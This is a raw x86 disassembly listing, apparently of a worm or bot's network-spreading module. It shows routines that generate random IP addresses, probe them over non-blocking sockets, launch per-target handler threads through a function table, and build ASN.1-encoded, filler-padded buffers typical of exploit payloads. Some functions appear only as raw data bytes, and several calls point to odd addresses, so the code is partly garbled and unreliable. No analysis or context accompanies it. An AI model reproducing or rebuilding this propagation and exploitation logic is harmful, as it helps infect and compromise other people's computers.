call near ptr 2670E97h
jmp short loc_40C101
; ---------------------------------------------------------------------------
loc_40C113: ; CODE XREF: sub_40BD91+36Ej
nop
call near ptr 2680972h
push eax
lea eax, [ebp+var_204]
push offset unk_431D38
push eax
call sub_41C266
add esp, 0Ch
loc_40C12E: ; CODE XREF: sub_40BD91+376j
lea eax, [ebp+var_204]
push eax
call sub_415D38
pop ecx
loc_40C13B: ; CODE XREF: sub_40BD91+2A8j
mov eax, [ebp+arg_130]
loc_40C141: ; CODE XREF: sub_40BD91+298j
shl eax, 6
cmp dword_431808[eax], ebx
jz loc_40C263
push 3
call sub_40B602
test eax, eax
pop ecx
jnz loc_40C263
mov esi, offset dword_4CE3B4
push 104h
push esi
push ebx
nop
call near ptr 2670000h
push 5Ch
push esi
call sub_41C820
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40C182
mov [eax], bl
loc_40C182: ; CODE XREF: sub_40BD91+3EDj
mov eax, dword_42907C
mov dword_4CE4CC, ebx
mov dword_4CE4B8, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_4CE12C
call sub_41C266
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_4CE128, eax
mov ecx, [ebp+arg_138]
push esi
push dword_4CE4B8
mov dword_4CE4C4, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4CE4C8, ecx
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_42C18C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_40B3BA
add esp, 20h
mov dword_4CE4C0, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CE128
push offset sub_40FAD6
push ebx
push ebx
call near ptr 2680000h
nop
mov ecx, dword_4CE4C0
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40C23B
loc_40C229: ; CODE XREF: sub_40BD91+4A8j
cmp dword_4CE4D4, ebx
jnz short loc_40C256
push 32h
nop
call near ptr 2670E97h
jmp short loc_40C229
; ---------------------------------------------------------------------------
loc_40C23B: ; CODE XREF: sub_40BD91+496j
call near ptr 2680972h
nop
push eax
lea eax, [ebp+var_204]
push offset unk_431D04
push eax
call sub_41C266
add esp, 0Ch
loc_40C256: ; CODE XREF: sub_40BD91+49Ej
lea eax, [ebp+var_204]
push eax
call sub_415D38
pop ecx
loc_40C263: ; CODE XREF: sub_40BD91+14j
; sub_40BD91+25j ...
pop esi
pop ebx
leave
retn
sub_40BD91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C267 proc near ; CODE XREF: sub_40C3E8:loc_40C459p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4CBB20h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_41CD20
add esp, 0Ch
push [ebp+arg_0]
call dword_4CB8FC
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4CB9D0
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_41CD20
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40C267 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C2AF proc near ; CODE XREF: sub_40C3E8+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_41B9C0
cmp eax, 0Fh
pop ecx
jbe short loc_40C2D7
xor eax, eax
jmp short loc_40C348
; ---------------------------------------------------------------------------
loc_40C2D7: ; CODE XREF: sub_40C2AF+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_41CCE3
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40C304
call sub_41C2C2
mov [ebp+var_C], eax
loc_40C304: ; CODE XREF: sub_40C2AF+4Bj
cmp [ebp+var_8], esi
jnz short loc_40C311
call sub_41C2C2
mov [ebp+var_8], eax
loc_40C311: ; CODE XREF: sub_40C2AF+58j
cmp [ebp+var_4], esi
jnz short loc_40C31E
call sub_41C2C2
mov [ebp+var_4], eax
loc_40C31E: ; CODE XREF: sub_40C2AF+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40C32A
call sub_41C2C2
loc_40C32A: ; CODE XREF: sub_40C2AF+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4CBB20[ecx*8], eax
loc_40C348: ; CODE XREF: sub_40C2AF+26j
pop esi
leave
retn
sub_40C2AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C34B proc near ; CODE XREF: ___:0040BBBEp
; sub_40C3E8+BBp ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_4CBA54
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C374
xor eax, eax
jmp short loc_40C3E3
; ---------------------------------------------------------------------------
loc_40C374: ; CODE XREF: sub_40C34B+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_4CB9D4
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_4CBA70
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4CB97C
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4CB9BC
push esi
mov edi, eax
call dword_4CBA6C
xor eax, eax
cmp edi, ebx
setnle al
loc_40C3E3: ; CODE XREF: sub_40C34B+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40C34B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C3E8 proc near ; DATA XREF: sub_40C3E8+353o
var_29C = dword ptr -29Ch
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_1CC = byte ptr -1CCh
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_14C = byte ptr -14Ch
var_140 = byte ptr -140h
var_13C = byte ptr -13Ch
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
nop
call near ptr 269083Ah
push eax
call sub_41C2B8
mov ebx, esi
pop ecx
imul ebx, 234h
loc_40C42F: ; CODE XREF: sub_40C3E8+204j
mov eax, dword_43E914[ebx]
cmp dword_4CBB24[eax*8], 0
jz loc_40C5F1
cmp [ebp+var_10], 0
push eax
jz short loc_40C459
lea eax, [ebp+var_150]
push eax
call sub_40C2AF
pop ecx
jmp short loc_40C45E
; ---------------------------------------------------------------------------
loc_40C459: ; CODE XREF: sub_40C3E8+60j
call sub_40C267
loc_40C45E: ; CODE XREF: sub_40C3E8+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_43E914[ebx]
push [ebp+var_3C]
push edi
call dword_4CBA60
push eax
lea eax, [ebp+var_28C]
push offset unk_431E64
push eax
call sub_41C266
add esp, 18h
lea eax, [ebp+var_28C]
push eax
lea eax, dword_43E710[ebx]
push eax
call sub_41C266
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40C34B
add esp, 14h
cmp eax, 1
jnz loc_40C5E1
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40C535
push offset dword_4CDB20
call near ptr 77F7E21Fh
nop
push [ebp+var_3C]
push edi
call dword_4CBA60
push eax
lea eax, [ebp+var_28C]
push offset unk_431E3C
push eax
call sub_41C266
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40C517
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40C50B
lea eax, [ebp+var_140]
loc_40C50B: ; CODE XREF: sub_40C3E8+11Bj
push eax
push [ebp+var_40]
call sub_409869
add esp, 14h
loc_40C517: ; CODE XREF: sub_40C3E8+100j
lea eax, [ebp+var_28C]
push eax
call sub_415D38
mov [esp+29Ch+var_29C], offset dword_4CDB20
nop
call near ptr 77F7E300h
jmp loc_40C5E1
; ---------------------------------------------------------------------------
loc_40C535: ; CODE XREF: sub_40C3E8+D0j
push edi
call dword_4CBA60
push eax
lea eax, [ebp+var_208]
push eax
call sub_41C266
mov eax, [ebp+var_20]
pop ecx
shl eax, 6
pop ecx
add eax, offset aSym ; "sym"
push eax
lea eax, [ebp+var_178]
push eax
call sub_41C266
cmp [ebp+var_C0], 0
pop ecx
pop ecx
lea eax, [ebp+var_C0]
jnz short loc_40C57A
lea eax, [ebp+var_140]
loc_40C57A: ; CODE XREF: sub_40C3E8+18Aj
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_41C266
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_4317FC[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40C5E1: ; CODE XREF: sub_40C3E8+C6j
; sub_40C3E8+148j
push 7D0h
nop
call near ptr 2670E97h
jmp loc_40C42F
; ---------------------------------------------------------------------------
loc_40C5F1: ; CODE XREF: sub_40C3E8+55j
push esi
call sub_40B6D6
pop ecx
push 0
nop
call near ptr 26E0000h
loc_40C600: ; DATA XREF: sub_401ACD+1F2Ao
; sub_401ACD+5B7Ao
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_4CBA14
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_4CBB20[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_40BD91
push 0Bh
call sub_40B602
add esp, 150h
cmp eax, ebx
jnz short loc_40C6CE
mov esi, offset dword_4CDB20
push esi
call near ptr 26E05A6h
nop
push 80000400h
push esi
call near ptr 26E04C2h
nop
test eax, eax
jnz short loc_40C6CE
lea eax, [ebp+var_1CC]
push offset unk_431F48
push eax
call sub_41C266
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40C6B8
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409869
add esp, 14h
loc_40C6B8: ; CODE XREF: sub_40C3E8+2B1j
lea eax, [ebp+var_1CC]
push eax
call sub_415D38
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40C6CE: ; CODE XREF: sub_40C3E8+27Bj
; sub_40C3E8+297j
mov eax, [ebp+var_2C]
mov esi, dword_427080
mov edi, ebx
mov dword_4CBB24[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40C79B
loc_40C6EC: ; CODE XREF: sub_40C3E8+3ADj
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_431F14
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_1CC]
push 0Bh
push eax
call sub_40B3BA
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_43E914[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40C3E8
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40C766
loc_40C75B: ; CODE XREF: sub_40C3E8+37Cj
cmp [ebp+var_4], ebx
jnz short loc_40C78D
push 1Eh
call esi
jmp short loc_40C75B
; ---------------------------------------------------------------------------
loc_40C766: ; CODE XREF: sub_40C3E8+371j
call near ptr 2680972h
nop
push eax
lea eax, [ebp+var_1CC]
push offset unk_431EDC
push eax
call sub_41C266
lea eax, [ebp+var_1CC]
push eax
call sub_415D38
add esp, 10h
loc_40C78D: ; CODE XREF: sub_40C3E8+376j
push 1Eh
call esi
inc edi
cmp edi, [ebp+var_20]
jbe loc_40C6EC
loc_40C79B: ; CODE XREF: sub_40C3E8+2FEj
cmp [ebp+var_30], ebx
jz loc_40C845
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi
loc_40C7B0: ; CODE XREF: sub_40C3E8+468j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_4CBB20[eax*8]
push eax
call dword_4CBA60
push eax
lea eax, [ebp+var_1CC]
push offset unk_431E9C
push eax
call sub_41C266
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40C7FE
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409869
add esp, 14h
loc_40C7FE: ; CODE XREF: sub_40C3E8+3F7j
lea eax, [ebp+var_1CC]
push eax
call sub_415D38
mov eax, [ebp+var_2C]
mov [esp+29Ch+var_29C], 0BB8h
mov dword_4CBB24[eax*8], ebx
call esi
push 0Bh
call sub_40B602
cmp eax, 1
pop ecx
jnz short loc_40C835
push offset dword_4CDB20
call near ptr 26E05A6h
nop
loc_40C835: ; CODE XREF: sub_40C3E8+440j
push [ebp+var_2C]
call sub_40B6D6
pop ecx
push ebx
call near ptr 26E0000h
nop
loc_40C845: ; CODE XREF: sub_40C3E8+3B6j
; sub_40C3E8+475j
mov eax, [ebp+var_2C]
cmp dword_4CBB24[eax*8], 1
jnz loc_40C7B0
push 7D0h
call esi
jmp short loc_40C845
sub_40C3E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C85F proc near
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 1
rep movsd
pop esi
mov [eax+0A8h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_38]
call dword_4CB9D4
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_4CBA54
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C91D
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CB97C
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_43E91C[ecx], esi
jz short loc_40C91D
push [ebp+var_38]
push [ebp+var_28]
call dword_4CBA60
push eax
mov edi, offset dword_4CE4E4
push offset dword_431F7C
push edi
call sub_41C266
push 0
lea eax, [ebp+var_B8]
push [ebp+var_20]
push edi
push eax
push [ebp+var_BC]
call sub_409869
push edi
call sub_415D38
add esp, 28h
loc_40C91D: ; CODE XREF: sub_40C85F+5Dj
; sub_40C85F+7Ej
push esi
call dword_4CBA6C
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40C85F endp
; ---------------------------------------------------------------------------
dword_40C92C dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
; DATA XREF: sub_401ACD+5F60o
dd 0FF4CBD8Dh, 0A5F3FFFFh, 7080358Bh, 83C70042h, 0A4h
dd 1, 75FFFF33h, 0E075FFD0h, 0BA6015FFh, 8D50004Ch, 0FFFECC85h
dd 1FA468FFh, 0E8500043h, 0F8EEh, 0FECC858Dh, 0FF68FFFFh
dd 50000001h, 69DC458Bh, 234C0h, 0E7100500h, 0E8500043h
dd 0F638h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
dd 40C85Fh, 0E8905757h, 227364Ch, 4589C73Bh, 390B74FCh
dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 6E890FCh, 0FF02253Fh
dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
dd 0E8500845h, 10334h, 0FF0CC483h, 15FF0875h, 4CB8FCh
dd 45895040h, 0D015FF08h, 89004CB9h, 458D0845h, 50046A08h
dd 50E0458Dh, 1030BE8h, 0CC48300h, 0FFFF3DE9h
db 0FFh
byte_40CA1D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5C80o
dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h
dd 0F3FFFFFFh, 80358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
dd 75FFD475h, 6015FFE4h, 50004CBAh, 0FED0858Dh, 0F868FFFFh
dd 5000431Fh, 0F7FDE8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
dd 234C069h, 10050000h, 500043E7h, 0F547E8h, 1CC48300h
dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C85F68h, 0E8575700h
dd 227355Ch, 89C73B90h, 0B740845h, 75F87D39h, 0FF326A06h
dd 0FFF5EBD6h, 0E8900875h, 2253E15h, 8CB3FFh, 0BB890000h
dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h
dd 75FFFFFFh, 6015FFE4h, 50004CBAh, 0FED0858Dh, 0CC68FFFFh
dd 5000431Fh, 0F76DE8h, 858D5700h, 0FFFFFED0h, 50EC75FFh
dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0CD53E8FFh, 75FFFFFFh
dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
db 4, 0
; =============== S U B R O U T I N E =======================================
sub_40CB2A proc near ; CODE XREF: sub_40CD9E+Ep
; sub_40CD9E+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40CB2A endp
; =============== S U B R O U T I N E =======================================
sub_40CB34 proc near ; CODE XREF: sub_40CD9E+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_41BEB5
mov edi, eax
pop ecx
test edi, edi
jz short loc_40CB66
push ebx
push 0
push edi
call sub_41BF70
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_41CD20
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40CB66: ; CODE XREF: sub_40CB34+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40CB34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CB6E proc near ; CODE XREF: sub_40CC68+18p
; sub_40CCE2+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_41BEB5
mov esi, eax
pop ecx
test esi, esi
jz short loc_40CBBA
push edi
push 0
push esi
call sub_41BF70
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_41CD20
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41CD20
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40CBBA: ; CODE XREF: sub_40CB6E+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40CB6E endp
; =============== S U B R O U T I N E =======================================
sub_40CBC3 proc near ; CODE XREF: sub_40CC68+5Ep
; sub_40CC68+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40CBD3
push eax
call sub_41BA91
pop ecx
loc_40CBD3: ; CODE XREF: sub_40CBC3+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40CBC3 endp
; =============== S U B R O U T I N E =======================================
sub_40CBDC proc near ; CODE XREF: sub_40CC68+20p
; sub_40CD43+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40CC09
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_41BEB5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40CC0D
loc_40CC09: ; CODE XREF: sub_40CBDC+Dj
xor al, al
jmp short loc_40CC64
; ---------------------------------------------------------------------------
loc_40CC0D: ; CODE XREF: sub_40CBDC+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_41BF70
add esp, 0Ch
cmp ebx, 1
jnz short loc_40CC32
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40CC4C
; ---------------------------------------------------------------------------
loc_40CC32: ; CODE XREF: sub_40CBDC+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_40CC4C: ; CODE XREF: sub_40CBDC+54j
push eax
call sub_41CD20
add esp, 0Ch
push dword ptr [esi]
call sub_41BA91
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40CC64: ; CODE XREF: sub_40CBDC+2Fj
pop edi
pop esi
pop ebx
retn
sub_40CBDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CC68 proc near ; CODE XREF: sub_40CD9E+89p
; sub_40CD9E+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset word_4CB88C
call sub_40CB6E
lea ecx, [ebp+var_8]
call sub_40CBDC
mov eax, [ebp+var_4]
inc eax
push eax
call sub_41BEB5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40CCA2
xor al, al
jmp short loc_40CCDE
; ---------------------------------------------------------------------------
loc_40CCA2: ; CODE XREF: sub_40CC68+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_41BF70
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_41CD20
add esp, 18h
mov ecx, esi
call sub_40CBC3
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40CBC3
mov al, 1
loc_40CCDE: ; CODE XREF: sub_40CC68+38j
pop edi
pop esi
leave
retn
sub_40CC68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CCE2 proc near ; CODE XREF: sub_40CD16+14p
; sub_40CD33+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40CB6E
mov ecx, esi
call sub_40CBC3
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40CCE2 endp
; =============== S U B R O U T I N E =======================================
sub_40CD16 proc near ; CODE XREF: sub_40CD9E+F0p
; sub_40CD9E+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41B9C0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40CCE2
pop esi
retn 4
sub_40CD16 endp
; =============== S U B R O U T I N E =======================================
sub_40CD33 proc near ; CODE XREF: sub_40CD7F+Bp
; sub_40CD9E+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40CCE2
retn 8
sub_40CD33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD43 proc near ; CODE XREF: sub_40CD7F+16p
; sub_40CD9E+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40CBDC
test al, al
jz short loc_40CD7C
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push offset dword_42CC80
call sub_40CB6E
mov ecx, esi
call sub_40CBC3
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40CD7C: ; CODE XREF: sub_40CD43+Fj
pop esi
leave
retn
sub_40CD43 endp
; =============== S U B R O U T I N E =======================================
sub_40CD7F proc near ; CODE XREF: sub_40CD9E+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40CD33
test al, al
jz short loc_40CD9A
mov ecx, esi
call sub_40CD43
loc_40CD9A: ; CODE XREF: sub_40CD7F+12j
pop esi
retn 8
sub_40CD7F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD9E proc near ; CODE XREF: ___:0040D625p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40CB2A
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40D0F2
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40D0F2
push esi
lea ecx, [ebp+var_30]
call sub_40CB2A
lea ecx, [ebp+var_20]
call sub_40CB2A
lea ecx, [ebp+var_50]
call sub_40CB2A
lea ecx, [ebp+var_18]
call sub_40CB2A
lea ecx, [ebp+var_40]
call sub_40CB2A
lea ecx, [ebp+var_38]
call sub_40CB2A
lea ecx, [ebp+var_28]
call sub_40CB2A
push 4
push offset dword_432030
lea ecx, [ebp+var_30]
call sub_40CCE2
push 3
push offset dword_432038
lea ecx, [ebp+var_30]
call sub_40CCE2
lea ecx, [ebp+var_30]
call sub_40CC68
lea ecx, [ebp+var_30]
call sub_40CD43
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_41BF70
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "░B░B░B░B"
call sub_40CCE2
push ebx
